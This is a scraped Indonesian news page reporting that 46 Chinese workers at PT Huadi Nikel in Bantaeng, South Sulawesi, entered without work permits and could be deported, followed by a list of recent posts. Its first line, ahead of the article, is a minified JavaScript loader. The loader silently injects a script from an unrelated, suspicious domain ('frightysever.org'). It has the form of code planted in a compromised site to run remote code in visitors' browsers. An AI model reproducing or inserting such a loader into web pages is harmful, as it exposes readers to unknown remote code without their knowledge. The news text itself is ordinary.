(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Parah! TKA China Masuk Sulawesi Selatan Belum Kantongi Izin Kerja


KANALKALIMANTAN.COM, MAKASSAR– Puluhan tenaga kerja asing atau TKA asal China yang masuk ke Sulawesi Selatan ternyata belum punya izin. Hal tersebut merupakan hasil investigasi dari Dinas Tenaga Kerja Pemprov Sulsel.

Kepala Dinas Tenaga Kerja dan Transmigrasi Sulsel, Andi Darmawan Bintang mengatakan, puluhan tenaga kerja asing yang masuk ke Sulsel belum punya izin Mempekerjakan Tenaga Asing (IMTA). Izin ini harusnya dikeluarkan oleh pemerintah pusat atau kementerian.

“Berdasarkan hasil investigasi awal, belum didapat IMTA yang dikeluarkan pemerintah pusat untuk tenaga kerja asing,” ujar Wawan sapaan Darmawan kepada SuaraSulsel.id, Minggu, 4 Juli 2021.

Ia menjelaskan tenaga kerja asing ini adalah pekerja PT Huadi Nikel di Kabupaten Bantaeng. Mereka sebenarnya sudah dikarantina di Jakarta, sebelum masuk ke Makassar.

 

 

Baca juga: UPDATE. Positif Covid-19 Banjarbaru Hari Ini Tambah 53 Orang, Syamsudin Noor Rekor!
“Sekarang kami memastikan bahwa mereka betul-betul mempunyai izin. Dan, proses masuknya mereka bisa diterima menurut perundang-undangan yang berlaku,” tuturnya.

Bahkan, 20 orang kemarin itu adalah kelompok terbang yang ketiga kalinya. Sebelumnya, tanggal 29 Juni lalu sudah masuk sembilan orang, tanggal 1 Juli ada 17 orang.

“Sudah tiga kali. Tanggal 3 Juli kemarin 20 orang. Totalnya, 46 orang,” tambahnya.

Wawan mengaku sudah memerintahkan Kepala UPT Pengawasan yang ada di Bulukumba, untuk segera berkoordinasi dengan Pemkab Bantaeng maupun PT Huadi Nikel. Saat ini para pekerja itu sudah di Bantaeng.

Disnaker Sulsel akan memastikan status pekerja dulu masuk ke sana. Jika memang memenuhi syarat, maka mereka bisa lanjut bekerjan. Kalau tidak, tentu pihak migrasi akan melakukan deportasi.

“Jadi kalau izinnya izin kunjungan, tapi dia bekerja, harus dideportasi,” tegasnya.

Pihaknya juga akan mengidentifikasi, apa saja tugas mereka di PT Huadi Nikel. Apalagi di masa pandemi seperti ini, pengawasan tenaga kerja dari luar perlu pengawasan ketat.

“Ini harus kita awasi betul, apalagi di masa pandemi seperti ini. Apakah pekerjaan mereka memang tidak ada tenaga kerja lokal yang bisa menggantikan tugas mereka,” jelasnya. (suara.com)

Editor: cell


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

8 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

9 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

9 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

16 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

17 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.